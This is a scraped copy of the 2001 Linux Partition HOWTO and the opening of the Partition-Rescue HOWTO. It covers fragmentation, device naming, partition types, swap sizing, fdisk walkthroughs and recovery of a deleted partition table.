7.3. Some facts about file systems and fragmentation

Disk space is administered by the operating system in units of blocks and fragments of blocks. In ext2, fragments and blocks have to be of the same size, so we can limit our discussion to blocks.

Files come in any size. They don't end on block boundaries. So with every file a part of the last block of every file is wasted. Assuming that file sizes are random, there is approximately a half block of waste for each file on your disk. Tanenbaum calls this "internal fragmentation" in his book "Operating Systems".

You can guess the number of files on your disk by the number of allocated inodes on a disk. On my disk
# df -i
Filesystem           Inodes   IUsed   IFree  %IUsed Mounted on
/dev/hda3              64256   12234   52022    19%  /
/dev/hda5              96000   43058   52942    45%  /var
there are about 12000 files on / and about 44000 files on /var. At a block size of 1 KB, about 6+22 = 28 MB of disk space are lost in the tail blocks of files. Had I chosen a block size of 4 KB, I had lost 4 times this space.

Data transfer is faster for large contiguous chunks of data, though. That's why ext2 tries to preallocate space in units of 8 contigous blocks for growing files. Unused preallocation is released when the file is closed, so no space is wasted.

Noncontiguous placement of blocks in a file is bad for performance, since files are often accessed in a sequential manner. It forces the operating system to split a disk access and the disk to move the head. This is called "external fragmentation" or simply "fragmentation" and is a common problem with MS-DOS file systems. In conjunction with the abysmal buffer cache used by MS-DOS, the effects of file fragmentation on performance are very noticeable. DOS users are accustomed to defragging their disks every few weeks and some have even developed some ritualistic beliefs regarding defragmentation.

None of these habits should be carried over to Linux and ext2. Linux native file systems do not need defragmentation under normal use and this includes any condition with at least 5% of free space on a disk. There is a defragmentation tool for ext2 called defrag, but users are cautioned against casual use. A power outage during such an operation can trash your file system. Since you need to back up your data anyway, simply writing back from your copy will do the job.

The MS-DOS file system is also known to lose large amounts of disk space due to internal fragmentation. For partitions larger than 256 MB, DOS block sizes grow so large that they are no longer useful (This has been corrected to some extent with FAT32). Ext2 does not force you to choose large blocks for large file systems, except for very large file systems in the 0.5 TB range (that's terabytes with 1 TB equaling 1024 GB) and above, where small block sizes become inefficient. So unlike DOS there is no need to split up large disks into multiple partitions to keep block size down.

Use a 1Kb block size if you have many small files. For large partitions, 4Kb blocks are fine.

Prev | Home
Recovering a Deleted Partition Table |


Linux Partition HOWTO

Tony Harris

Kristian Koehntopp

Revision History
Revision 3.3 | 10 July 2001
Corrected Section 6, calculation of cylinder numbers
Revision 3.2 | 1 September 2000
Dan Scott provides sgml conversion 2 Oct. 2000. Rewrote Introduction. Rewrote discussion on device names in Logical Devices. Reorganized Partition Types. Edited Partition Requirements. Added Recovering a deleted partition table.
Revision 3.1 | 12 June 2000
Corrected swap size limitation in Partition Requirements, updated various links in Introduction, added submitted example in How to Partition with fdisk, added file system discussion in Partition Requirements.
Revision 3.0 | 1 May 2000
First revision by Tony Harris based on Linux Partition HOWTO by Kristian Koehntopp.
Revision 2.4 | 3 November 1997
Last revision by Kristian Koehntopp.

This Linux Mini-HOWTO teaches you how to plan and create partitions on IDE and SCSI hard drives. It discusses partitioning terminology and considers size and location issues. Use of the fdisk partitioning utility for creating and recovering of partition tables is covered. The most recent version of this document is here.

Table of Contents
1. Introduction
1.1. What is a partition?
1.2. Constraints
1.3. Other Partitioning Software:
1.4. Related HOWTOs
1.5. Additional information on your system:
2. Devices
2.1. Device names
2.1.1. Naming Convention
2.1.2. Name Assignment
2.2. Device numbers
3. Partition Types
3.1. Partition Types
3.2. Foreign Partition Types
3.3. Primary Partitions
3.4. Logical Partitions
3.5. Swap Partitions
4. Partitioning requirements
4.1. What Partitions do I need?
4.2. Discussion:
4.3. File Systems
4.3.1. Which file systems need their own partitions?
4.3.2. File lifetimes and backup cycles as partitioning criteria
4.4. Swap Partitions
4.4.1. How large should my swap space be?
4.4.2. Where should I put my swap space?
5. Partitioning with fdisk
5.1. Partitioning with fdisk
5.1.1. Notes about fdisk:
5.1.2. Four primary partitions
5.1.3. Mixed primary and logical partitions
5.1.4. Submitted Examples
6. Recovering a Deleted Partition Table
7. Formating Partitions
7.1. Activating Swap Space
7.2. Mounting Partitions
7.3. Some facts about file systems and fragmentation
Next
Introduction


Introduction

Linux Partition HOWTO
Prev Next

1. Introduction

1.1. What is a partition?

Partitioning is a means to divide a single hard drive into many logical drives. A partition is a contiguous set of blocks on a drive that are treated as an independant disk. A partition table (the creation of which is the topic of this HOWTO) is an index that relates sections of the hard drive to partitions.

Why have multiple partitions?

  • Encapsulate your data. Since file system corruption is local to a partition, you stand to lose only some of your data if an accident occurs.

  • Increase disk space efficiency. You can format partitions with varying block sizes, depending on your usage. If your data is in a large number of small files (less than 1k) and your partition uses 4k sized blocks, you are wasting 3k for every file. In general, you waste on average one half of a block for every file, so matching block size to the average size of your files is important if you have many files.

  • Limit data growth. Runaway processes or maniacal users can consume so much disk space that the operating system no longer has room on the hard drive for its bookkeeping operations. This will lead to disaster. By segregating space, you ensure that things other than the operating system die when allocated disk space is exhausted.

1.2. Constraints

  • Partitions must not overlap. This will cause data corruption and other spooky stuff.

  • There ought to be be no gap between adjacent partitions. While this is not harmful, you are wasting precious disk space by leaving space between partitions.

  • A disk need not be partitioned completely. You may decide to leave some unpartitioned space at the end of your disk and partition it later.

  • Partitions cannot be moved but they can be resized and copied using special software. This HOWTO only covers the use of the fdisk utility, which does not permit any of these operations.

1.3. Other Partitioning Software:

  • sfdisk: a command-line version of fdisk

  • cfdisk: a curses-based version of fdisk

  • parted: Gnu partition editor

  • Partition Magic: a commercial utility to create, resize, merge and convert partitions, without destroying data.

  • Disk Drake: a Perl/Gtk program to create, rsize, and delete partitions

1.4. Related HOWTOs

Table 1. Related HOWTOs

Title | Author | Description
Linux Multiple Disk System Tuning | Gjoen Stein | How to estimate the various size and speed requirements for different parts of the filesystem.
Linux Large Disk | Andries Brouwer | Instructions and considerations regarding disks with more than 1024 cylinders
Linux Quota | Albert M.C. Tam | Instructions on limiting disk space usage per user (quotas)
Partition-Rescue mini-HOWTO | Jean-Daniel Dodin | How to restore linux partitions after they have been deleted by a Windows install. Does not appear to preserve data.
Linux ADSM Backup | Thomas Koenig | Instructions on integrating Linux into an IBM ADSM backup environment.
Linux Backup with MSDOS | Christopher Neufeld | Information about MS-DOS driven Linux backups.
Linux HOWTO Index | Tim Bynum | Instructions on writing and submitting a HOWTO document

1.5. Additional information on your system:

  • /usr/src/linux/Documentation

    • ide.txt: Info about your IDE drivers

    • scsi.txt: Info about your SCSI drivers

Prev | Home | Next
Linux Partition HOWTO |  | Devices


Devices

Linux Partition HOWTO
Prev Next

2. Devices

There is a special nomenclature that linux uses to refer to hard drive partitions that must be understood in order to follow the discussion on the following pages.

In Linux, partitions are represented by device files. These are phoney files located in /dev. Here are a few entries:
brw-rw----    1 root     disk       3,   0 May  5  1998 hda
brw-rw----    1 root     disk       8,   0 May  5  1998 sda
crw-------    1 root     tty        4,  64 May  5  1998 ttyS0
A device file is a file with type c ( for "character" devices, devices that do not use the buffer cache) or b (for "block" devices, which go through the buffer cache). In Linux, all disks are represented as block devices only.

2.1. Device names

2.1.1. Naming Convention

By convention, IDE drives will be given device names /dev/hda to /dev/hdd. The first drive is 'a' the second drive 'b' and so on. For example, /dev/hda is the first drive on the first IDE controller and /dev/hdd is the second drive on the second controller (the fourth IDE drive in the computer). You can write to these devices directly (using cat or dd). However, since these devices represent the entire disk, starting at the first block, you can mistakenly overwrite the master boot record and the partition table, which will render the drive unusable.

Once a drive has been partitioned, the partitions will be represented as numbers on the end of the names. For example, the second partition on the second drive will be /dev/hdb2. SCSI drives follow a similar pattern; They are represented by 'sd' instead of 'hd'. The first partition of the second SCSI drive would therefore be /dev/sdb1.

Primary partitions (Section 3.3) on a disk are 1, 2, 3 and 4. Logical partitions (Section 3.4) have numbers 5 and up, for reasons explained later (Section 5.1.3).

2.1.2. Name Assignment

Under (Sun) Solaris and (SGI) IRIX, the device name given to a SCSI drive has some relationship to where you plug it in. Under linux, there is only wailing and gnashing of teeth. Lower SCSI ID numbers are assigned lower-order letters, so if you remove one drive from the chain, the names of the higher ID number drives will change. If you have two SCSI controllers in your linux box, you will need to examine the output of /bin/dmesg in order to see what name each drive was assigned. If you remove one of two controllers, the remaining controller might have all its drives renamed. Grrr...

This is all you have to know to deal with linux disk devices. For the sake of completeness, see Kristian's discussion of device numbers below.

2.2. Device numbers

The only important thing with a device file are its major and minor device numbers, which are shown instead of the file size:
$ ls -l /dev/hda

Table 2. Device file attributes

brw-rw---- | 1 | root | disk | 3, | 0 | Jul 18 1994 | /dev/hda
permissions |  | owner | group | major device number | minor device number | date | device name

When accessing a device file, the major number selects which device driver is being called to perform the input/output operation. This call is being done with the minor number as a parameter and it is entirely up to the driver how the minor number is being interpreted. The driver documentation usually describes how the driver uses minor numbers. For IDE disks, this documentation is in /usr/src/linux/Documentation/ide.txt. For SCSI disks, one would expect such documentation in /usr/src/linux/Documentation/scsi.txt, but it isn't there. One has to look at the driver source to be sure (/usr/src/linux/driver/scsi/sd.c:184-196). Fortunately, there is Peter Anvin's list of device numbers and names in /usr/src/linux/Documentation/devices.txt; see the entries for block devices, major 3, 22, 33, 34 for IDE and major 8 for SCSI disks. The major and minor numbers are a byte each and that is why the number of partitions per disk is limited.

Prev | Home | Next
Introduction |  | Partition Types


Partition Types

Linux Partition HOWTO
Prev Next

3. Partition Types

3.1. Partition Types

A partition is labeled to host a certain kind of file system. Such a file system could be the linux standard ext2 file system or linux swap space, or even foreign file systems like (Microsoft) NTFS or (Sun) UFS. There is a numerical code associated with each partition type. For example, the code for ext2 is 0x83 and linux swap is 0x82.

3.2. Foreign Partition Types

The partition type codes have been arbitrarily chosen (you can't figure out what they should be) and they are particular to a given operating system. Therefore, it is theoretically possible that if you use two operating systems with the same hard drive, the same code might be used to designate two different partition types.

OS/2 marks its partitions with a 0x07 type and so does Windows NT's NTFS. MS-DOS allocates several type codes for its various flavors of FAT file systems: 0x01, 0x04 and 0x06 are known. DR-DOS used 0x81 to indicate protected FAT partitions, creating a type clash with Linux/Minix at that time, but neither Linux/Minix nor DR-DOS are widely used any more.

3.3. Primary Partitions

The number of partitions on an Intel-based system was limited from the very beginning: The original partition table was installed as part of the boot sector and held space for only four partition entries. These partitions are now called primary partitions.

3.4. Logical Partitions

One primary partition of a hard drive may be subpartitioned. These are logical partitions. This effectively allows us to skirt the historical four partition limitation.

The primary partition used to house the logical partitions is called an extended partition and it has its own file system type (0x05). Unlike primary partitions, logical partitions must be contiguous. Each logical partition contains a pointer to the next logical partition, which implies that the number of logical partitions is unlimited. However, linux imposes limits on the total number of any type of prtition on a drive, so this effectively limits the number of logical partitions. This is at most 15 partitions total on an SCSI disk and 63 total on an IDE disk.

3.5. Swap Partitions

Every process running on your computer is allocated a number of blocks of RAM. These blocks are called pages. The set of in-memory pages which will be referenced by the processor in the very near future is called a "working set." Linux tries to predict these memory accesses (assuming that recently used pages will be used again in the near future) and keeps these pages in RAM if possible.

If you have too many processes running on a machine, the kernel will try to free up RAM by writing pages to disk. This is what swap space is for. It effectively increases the amount of memory you have available. However, disk I/O is very slow compared to reading from and writing to RAM.

If memory becomes so scarce that the kernel pages out from the working set of one process in order to page in for another, the machine is said to be thrashing. Expect performance to drop by approximately the ratio between memory access speed and disk access speed. Swap space is something you need to have, but it is no substitute for sufficient RAM. See Section 4.4.1 for tips on determining the size of swap space you need.

Prev | Home | Next
Devices |  | Partitioning requirements


Partitioning requirements

Linux Partition HOWTO
Prev Next

4. Partitioning requirements

4.1. What Partitions do I need?

Boot Drive: If you want to boot your operating system from the drive you are about to partition, you will need:

  • A primary partition

  • One or more swap partitions

  • Zero or more primary/logical partitions

Any other drive:

  • One or more primary/logical partitions

  • Zero or more swap partitions

4.2. Discussion:

Boot Partition:

Your boot partition ought to be a primary partition, not a logical partition. This will ease recovery in case of disaster, but it is not technically necessary. It must be of type 0x83 "Linux native". If you are using lilo, your boot partition must be contained within the first 1024 cylinders of the drive. (Typically, the boot partition need only contain the kernel image.)

If you have more than one boot partition (from other OSs, for example,) keep them all in the first 1024 cylinders (All DOS partitions must be within the first 1024). If you are using a means other than lilo loading your kernel (for example, a boot disk or the LOADLIN.EXE MS-DOS based Linux loader), the partition can be anywhere. See the Large-disk HOWTO for details.

Swap Partition:

Unless you swap to files you will need a dedicated swap partition. It must be of type 0x82 "Linux swap". It may be positioned anywhere on the disk (but see notes on placement: Section 4.4.2). Either a primary or logical partition can be used for swap. More than one swap partition can exist on a drive. 8 total (across drives) are permitted. See notes on swap size: Section 4.4.1.

Logical Partition:

A single primary partition must be used as a container (extended partition) for the logical partitions. The extended partition can go anywhere on the disk. The logical partitions must be contiguous, but needn't fill the extended partition.

4.3. File Systems

4.3.1. Which file systems need their own partitions?

Everything in your linux file system can go in the same (single) partition. However, there are circumstances when you may want to restrict the growth of certain file systems. For example, if your mail spool was in the same partition as your root fs and it filled the remaining space in the partition, your computer would basically hang.

/var

This fs contains spool directories such as those for mail and printing. In addition, it contains the error log directory. If your machine is a server and develops a chronic error, those msgs can fill the partition. Server computers ought to have /var in a different partition than /.

/usr

This is where most executable binaries go. In addition, the kernel source tree goes here, and much documentation.

/tmp

Some programs write temporary data files here. Usually, they are quite small. However, if you run computationally intensive jobs, like science or engineering applications, hundreds of megabytes could be required for brief periods of time. In this case, keep /tmp in a different partition than /.

/home

This is where users home directories go. If you do not impose quotas on your users, this ought to be in its own partition.

/boot

This is where your kernel images go. If you use MSDOS, which must go in the first 1024 cylinders, you need to at least get this partition in there in order to ensure that lilo can see it. If you have a drive larger than 1024 cylinders, making this your first partition guarantees that it will be visible to lilo.

4.3.2. File lifetimes and backup cycles as partitioning criteria

With ext2, partitioning decisions should be governed by backup considerations and to avoid external fragmentation (Section 7.3) from different file lifetimes.

Files have lifetimes. After a file has been created, it will remain some time on the system and then be removed. File lifetime varies greatly throughout the system and is partly dependent on the pathname of the file. For example, files in /bin, /sbin, /usr/sbin, /usr/bin and similar directories are likely to have a very long lifetime: many months and above. Files in /home are likely to have a medium lifetime: several weeks or so. File in /var are usually short lived: Almost no file in /var/spool/news will remain longer than a few days, files in /var/spool/lpd measure their lifetime in minutes or less.

For backup it is useful if the amount of daily backup is smaller than the capacity of a single backup medium. A daily backup can be a complete backup or an incremental backup.

You can decide to keep your partition sizes small enough that they fit completely onto one backup medium (choose daily full backups). In any case a partition should be small enough that its daily delta (all modified files) fits onto one backup medium (choose incremental backup and expect to change backup media for the weekly/monthly full dump - no unattended operation possible).

Your backup strategy depends on that decision.

When planning and buying disk space, remember to set aside a sufficient amount of money for backup! Unbackuped data is worthless! Data reproduction costs are much higher than backup costs for virtually everyone!

For performance it is useful to keep files of different lifetimes on different partitions. This way the short lived files on the news partition may be fragmented very heavily. This has no impact on the performance of the / or /home partition.

4.4. Swap Partitions

4.4.1. How large should my swap space be?

If you have decided to use a dedicated swap partition, which is generally a Good Idea [tm], follow these guidelines for estimating its size:

  • In Linux RAM and swap space add up (This is not true for all Unices). For example, if you have 8 MB of RAM and 12 MB swap space, you have a total of about 20 MB virtual memory.

  • When sizing your swap space, you should have at least 16 MB of total virtual memory. So for 4 MB of RAM consider at least 12 MB of swap, for 8 MB of RAM consider at least 8 MB of swap.

  • Currently, the maximum size of a swap partition is architecture-dependent. For i386 and PowerPC, it is approximately 2Gb. It is 128Gb on alpha, 1Gb on sparc, and 3Tb on sparc64. For linux kernels 2.1 and earlier, the limit is 128Mb. The partition may be larger than 128 MB, but excess space is never used. If you want more than 128 MB of swap for a 2.1 and earlier kernel, you have to create multiple swap partitions. See the man page for mkswap for details.

  • When sizing swap space, keep in mind that too much swap space may not be useful at all.

A very old rule of thumb in the days of the PDP and the Vax was that the size of the working set of a program is about 25% of its virtual size. Thus it is probably useless to provide more swap than three times your RAM.

But keep in mind that this is just a rule of thumb. It is easily possible to create scenarios where programs have extremely large or extremely small working sets. For example, a simulation program with a large data set that is accessed in a very random fashion would have almost no noticeable locality of reference in its data segment, so its working set would be quite large.

On the other hand, an xv with many simultaneously opened JPEGs, all but one iconified, would have a very large data segment. But image transformations are all done on one single image, most of the memory occupied by xv is never touched. The same is true for an editor with many editor windows where only one window is being modified at a time. These programs have - if they are designed properly - a very high locality of reference and large parts of them can be kept swapped out without too severe performance impact.

One could suspect that the 25% number from the age of the command line is no longer true for modern GUI programs editing multiple documents, but I know of no newer papers that try to verify these numbers.

So for a configuration with 16 MB RAM, no swap is needed for a minimal configuration and more than 48 MB of swap are probably useless. The exact amount of memory needed depends on the application mix on the machine (what did you expect?).

4.4.2. Where should I put my swap space?

  • Mechanics are slow, electronics are fast.

    Modern hard disks have many heads. Switching between heads of the same track is fast, since it is purely electronic. Switching between tracks is slow, since it involves moving real world matter.

    So if you have a disk with many heads and one with less heads and both are identical in other parameters, the disk with many heads will be faster.

    Splitting swap and putting it on both disks will be even faster, though.

  • Older disks have the same number of sectors on all tracks. With these disks it will be fastest to put your swap in the middle of the disks, assuming that your disk head will move from a random track towards the swap area.

  • Newer disks use ZBR (zone bit recording). They have more sectors on the outer tracks. With a constant number of rpms, this yields a far greater performance on the outer tracks than on the inner ones. Put your swap on the fast tracks.

  • Of course your disk head will not move randomly. If you have swap space in the middle of a disk between a constantly busy home partition and an almost unused archive partition, you would be better of if your swap were in the middle of the home partition for even shorter head movements. You would be even better off, if you had your swap on another otherwise unused disk, though.

Summary: Put your swap on a fast disk with many heads that is not busy doing other things. If you have multiple disks: Split swap and scatter it over all your disks or even different controllers.

Even better: Buy more RAM.

Prev | Home | Next
Partition Types |  | Partitioning with fdisk


Partitioning with fdisk

Linux Partition HOWTO
Prev Next

5. Partitioning with fdisk

5.1. Partitioning with fdisk

This section shows you how to actually partition your hard drive with the fdisk utility. Linux allows only 4 primary partitions. You can have a much larger number of logical partitions by sub-dividing one of the primary partitions. Only one of the primary partitions can be sub-divided.

Examples:

  1. Four primary partitions (Section 5.1.2)

  2. Mixed primary and logical partitions (Section 5.1.3)

5.1.1. Notes about fdisk:

fdisk is started by typing (as root) fdisk device at the command prompt. "device" (Section 2.1.1) might be something like /dev/hda or /dev/sda. The basic fdisk commands you need are:

p

print the partition table

n

create a new partition

d

delete a partition

q

quit without saving changes

w

write the new partition table and exit

Changes you make to the partition table do not take effect until you issue the write (w) command. Here is a sample partition table:
Disk /dev/hdb: 64 heads, 63 sectors, 621 cylinders
Units = cylinders of 4032 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdb1   *         1       184    370912+  83  Linux
/dev/hdb2           185       368    370944   83  Linux
/dev/hdb3           369       552    370944   83  Linux
/dev/hdb4           553       621    139104   82  Linux swap
The first line shows the geometry of your hard drive. It may not be physically accurate, but you can accept it as though it were. The hard drive in this example is made of 32 double-sided platters with one head on each side (probably not true). Each platter has 621 concentric tracks. A 3-dimensional track (the same track on all disks) is called a cylinder. Each track is divided into 63 sectors. Each sector contains 512 bytes of data. Therefore the block size in the partition table is 64 heads * 63 sectors * 512 bytes er...divided by 1024. (See 4 for discussion on problems with this calculation.)

The start and end values are cylinders. The first cylinder (0) is reserved for information about the drive layout.

5.1.2. Four primary partitions

The overview:Decide on the size (Section 4.4.1) of your swap space and where (Section 4.4.2) it ought to go. Divide up the remaining space for the three other partitions.

Example:

I start fdisk from the shell prompt:
# fdisk /dev/hdb
which indicates that I am using the second drive on my IDE controller. (See Section 2.1.) Now I need to plan my layout. In this example, I want to use only primary partitions for my linux partitions and my swap space. When I print the (empty) partition table, I just get configuration information.
Command (m for help): p

Disk /dev/hdb: 64 heads, 63 sectors, 621 cylinders
Units = cylinders of 4032 * 512 bytes
I knew that I had a 1.2Gb drive, but now I really know: 64 * 63 * 512 * 621 = 1281982464 bytes. I decide to reserve 128Mb of that space for swap, leaving 1153982464. If I use one of my primary partitions for swap, that means I have three left for ext2 partitions. Divided equally, that makes for 384Mb per partition. Now I get to work.
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-621, default 1):<RETURN>
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-621, default 621): +384M
Next, I set up the partition I want to use for swap:
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (197-621, default 197):<RETURN>
Using default value 197
Last cylinder or +size or +sizeM or +sizeK (197-621, default 621): +128M
Now the partition table looks like this:
   Device Boot    Start       End    Blocks   Id  System
/dev/hdb1             1       196    395104   83  Linux
/dev/hdb2           197       262    133056   83  Linux
I set up the remaining two partitions the same way I did the first. Finally, I make the first partition bootable:
Command (m for help): a
Partition number (1-4): 1
And I make the second partition of type swap:
Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux swap)
Command (m for help): p
The end result:
Disk /dev/hdb: 64 heads, 63 sectors, 621 cylinders
Units = cylinders of 4032 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdb1   *         1       196    395104+  83  Linux
/dev/hdb2           197       262    133056   82  Linux swap
/dev/hdb3           263       458    395136   83  Linux
/dev/hdb4           459       621    328608   83  Linux
Finally, I issue the write command (w) to write the table on the disk.

For more information, see:

  • Section 7.1

  • Section 7

  • Section 7.2

5.1.3. Mixed primary and logical partitions

The overview: create one use one of the primary partitions to house all the extra partitions. Then create logical partitions within it. Create the other primary partitions before or after creating the logical partitions.

Example:

I start fdisk from the shell prompt:
# fdisk /dev/sda
which indicates that I am using the first drive on my SCSI chain. (See Section 2.1.)

First I figure out how many partitions I want. I know my drive has a 183Gb capacity and I want 26Gb partitions (because I happen to have back-up tapes that are about that size).

183Gb / 26Gb = ~7

so I will need 7 partitions. Even though fdisk accepts partition sizes expressed in Mb and Kb, I decide to calculate the number of cylinders that will end up in each partition because fdisk reports start and stop points in cylinders. I see when I enter fdisk that I have 22800 cylinders.
> The number of cylinders for this disk is set to 22800.  There is
> nothing wrong with that, but this is larger than 1024, and could in
> certain setups cause problems with: 1) software that runs at boot
> time (e.g., LILO) 2) booting and partitioning software from other
> OSs  (e.g., DOS FDISK, OS/2 FDISK)
So, 22800 total cylinders divided by seven partitions is 3258 cylinders. Each partition will be about 3258 cylinders long. I ignore the warning msg because this is not my boot drive (Section 4).

Since I have 4 primary partitions, 3 of them can be 3258 long. The extended partition will have to be (4 * 3258), or 13032, cylinders long in order to contain the 4 logical partitions.

I enter the following commands to set up the first of the 3 primary partitions (stuff I type is bold ):
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-22800, default 1): <RETURN>
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-22800, default 22800): 3258
The last partition is the extended partition:
Partition number (1-4): 4
First cylinder (9775-22800, default 9775): <RETURN>
Using default value 9775
Last cylinder or +size or +sizeM or +sizeK (9775-22800, default 22800): <RETURN>
Using default value 22800
The result, when I issue the print table command is:
/dev/sda1             1      3258  26169853+  83  Linux
/dev/sda2          3259      6516  26169885   83  Linux
/dev/sda3          6517      9774  26169885   83  Linux
/dev/sda4          9775     22800 104631345    5  Extended
Next I segment the extended partition into 4 logical partitions, starting with the first logical partition, into 3258-cylinder segments. The logical partitions automatically start from /dev/sda5.
Command (m for help):  n
First cylinder (9775-22800, default 9775): <RETURN>
Using default value 9775
Last cylinder or +size or +sizeM or +sizeK (9775-22800, default 22800): 13032
The end result is:
   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1      3258  26169853+  83  Linux
/dev/sda2          3259      6516  26169885   83  Linux
/dev/sda3          6517      9774  26169885   83  Linux
/dev/sda4          9775     22800 104631345    5  Extended
/dev/sda5          9775     13032  26169853+  83  Linux
/dev/sda6         13033     16290  26169853+  83  Linux
/dev/sda7         16291     19584  26459023+  83  Linux
/dev/sda8         19585     22800  25832488+  83  Linux
Finally, I issue the write command (w) to write the table on the disk. To make the partitions usable, I will have to format (Section 7) each partition and then mount (Section 7.2) it.

5.1.4. Submitted Examples

I'd like to submit my partition layout, because it works well with any distribution of Linux (even big RPM based ones). I have one hard drive that ... is 10 gigs, exactly. Windows can't see above 9.3 gigs of it, but Linux can see it all, and use it all. It also has much more than 1024 cylenders.

Table 3. Partition layout example

Partition | Mount point | Size
/dev/hda1 | /boot | (15 megs)
/dev/hda2 | windows 98 partition | (2 gigs)
/dev/hda3 | extended | (N/A)
/dev/hda5 | swap space | (64 megs)
/dev/hda6 | /tmp | (50 megs)
/dev/hda7 | / | (150 megs)
/dev/hda8 | /usr | (1.5 gigs)
/dev/hda9 | /home | (rest of drive)
I test new kernels for the USB mass storage, so that explains the large /boot partition. I install LILO into the MBR, and by default I boot windows (I'm not the only one to use this computer).

I also noticed that you don't have any REAL examples of partition tables, and for newbies I HIGHLY suggest putting quite a few up. I'm freshly out of the newbie stage, and partitioning was what messed me up the most.

Valkor

Prev | Home | Next
Partitioning requirements |  | Recovering a Deleted Partition Table


Recovering a Deleted Partition Table

Linux Partition HOWTO
Prev Next

6. Recovering a Deleted Partition Table

  1. Make a partition that is at least as big as your first partition was. You can make it larger than the original partition by any amount. If you underestimate, there will be much wailing and gnashing of teeth.
    Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-23361, default 1): <RETURN>
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-22800, default 22800): 13032

Command (m for help): w

  2. Run dumpe2fs on the first partition and grep out the block count.

    Example:
               % dumpe2fs /dev/sda1 | grep "Block count:"
           Block count:              41270953
    If you are uncertain about this value, repeat Step 1 with a bigger partition size. If the block count changes, then you underestimated the size of the original partition. Repeat Step 1 until you get a stable block count.

  3. Remove the partition you just created
             Command (m for help): d
         Partition number (1-4): 1

  4. Make a new partition with the exact size you got from the block count. Since you cannot enter block size in fdisk, you need to figure out how many cylinders to request. Here is the formula:

      (number of needed cylinders) = (number of blocks) / (block size)

  (block size) = (unit size) / 1024

  (unit size) = (number of cylinders) * (number of heads) * (number of sectors/cylinder) * (number of bytes/sector)

    Consider the following example, where a hard drive has been partitioned into four primary partitions of 1, 2, 4, and 8 cylinders.
    disk /dev/sda: 16 heads, 63 sectors, 23361 cylinders
Units = cylinders of 1008 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1         2       976+  83  Linux
/dev/sda2             3         5      1512   83  Linux
/dev/sda3             6        10      2520   83  Linux
/dev/sda4            11        19      4536   83  Linux
    fdisk provides the configuration information I need in the head of the output. The unit size is 516096 ( 16 heads * 63 sectors/cyl * 512 bytes/sector ). The block size is 504 ( 516096 / 1024 ). The number of needed cylinders for the second partition is therefore 3 ( 1512 blocks / 504 ). The partition table shows that this is indeed the case: the first cylinder is 3, the second 4, and the last is 5, for a total of three cylinders. The number of needed cylinders for the third partition is calculated similarly: 2520 blocks / 504 = 5, which corresponds to blocks 6,7,8,9,10 . Notice that this calculation does not work for the first partition because the block count is wrong ( 976 instead of 1008 ). The plus sign indicates that not all the blocks are included in the fdisk value. When you try the calculation ( 976 / 504 ) you get 1.937. Knowing that the number of cylinders must be an integer, you can simply round up.

  5. Run e2fsck on it to verify that you can read the new partition.

  6. Repeat Steps 1-5 on remaining partitions.

Remount your partitions. Amazingly, all of your data will be there.

Credit goes to:

  • Mike Vevea, jedi sys admin and MGH's finest, for giving me these tips.

Prev | Home | Next
Partitioning with fdisk |  | Formating Partitions


Partition-Rescue HOWTO

Jean-Daniel Dodin

Revision History
Revision v3.3 | 2001-11-17 | Revised by: jdd
Minor update - docbook & revision history - emacs use.
Revision v3.2 | 2001-09-25 | Revised by: jdd
Major update.

Whow ! my disk is empty ! My Linux is gone ! If you have or fear to have one day or an other such a problem, read this...

Table of Contents
1. Beginning
1.1. What's in
1.2. What to do right now ?
1.3. Legal stuff
1.4. What do I must know right now?
2. Technical info
2.1. Disks
2.2. Partitions
2.3. Why is there a problem ?
3. Solving the problem
3.1. The simpler case
3.2. A not so simple case
3.3. The rich man case
4. References
4.1. Authors
4.2. Most recent version
Next
Beginning


Beginning

Partition-Rescue HOWTO
Prev Next

1. Beginning

1.1. What's in

This mini-HOWTO addresses only the “lost partition table” problem. This can be when :

  • you have no more access to your computer, with the “no operating system” message ;

  • you have installed a new system (i.e. Windows) and you see no more Linux, and Windows take up all the capacity of the disk ;

  • you have just partitioned the wrong drive with fdisk (for example in the way of changing your hard drive).

Here you will learn that if you know the right thing and do it, Linux comes usually safe from such things. Windows can, but it's luckier.

We will first see what you can do before the problem to ease the future recovery and what you must do after to recover. There is little to do to prevent from erasing a disk, usually this is done by automatic Windows or Linux-install ill behaved programs or users mistakes - nothing can be done to prevent this except care, but you are already careful, isn't it ?

It can also be done by the use of MSDOS/Windows fdisk. Avoid it as most as you can, but you probably can't.

I have done this many times, on my computer and on others' guy computers and restored Linux most of the time and Windows sometimes. I wish you luck !

1.2. What to do right now ?

If you don't have a problem yet, if you read this by curiosity or just seeking information and you are on a running Linux system, do immediately the following :

  • open a root terminal or xterm ;

  • key in “/sbin/fdisk -l” (that last character being l for Lima). Then do fdisk -u -l ;

You will be gratified by a list of all current partitions on all disks presents on your computer. The second one gives the listing in sectors units in place of cylinder and this is sometime necessary.

  • Write this back on paper (or do “/sbin/fdisk -l | lpr” and “/sbin/fdisk -u -l | lpr” to print it) and save it in a safe place for future use.

If you are not the system administrator, you should not be concerned by the problem and can stop reading this.

1.3. Legal stuff

This HOWTO is Copyright (c) 2000-2001 by Jean-Daniel Dodin. All rights reserved. You may do (almost) whatever you want with it. I don't care. Just be sure to keep my name intact. I just hope it becomes useful for any person in the Linux community.

In fact I would like to use a more standard LGPL or like licence, but I'm bound by the initial author license and I can't join him. If you know him or any way to contact him, let me know.

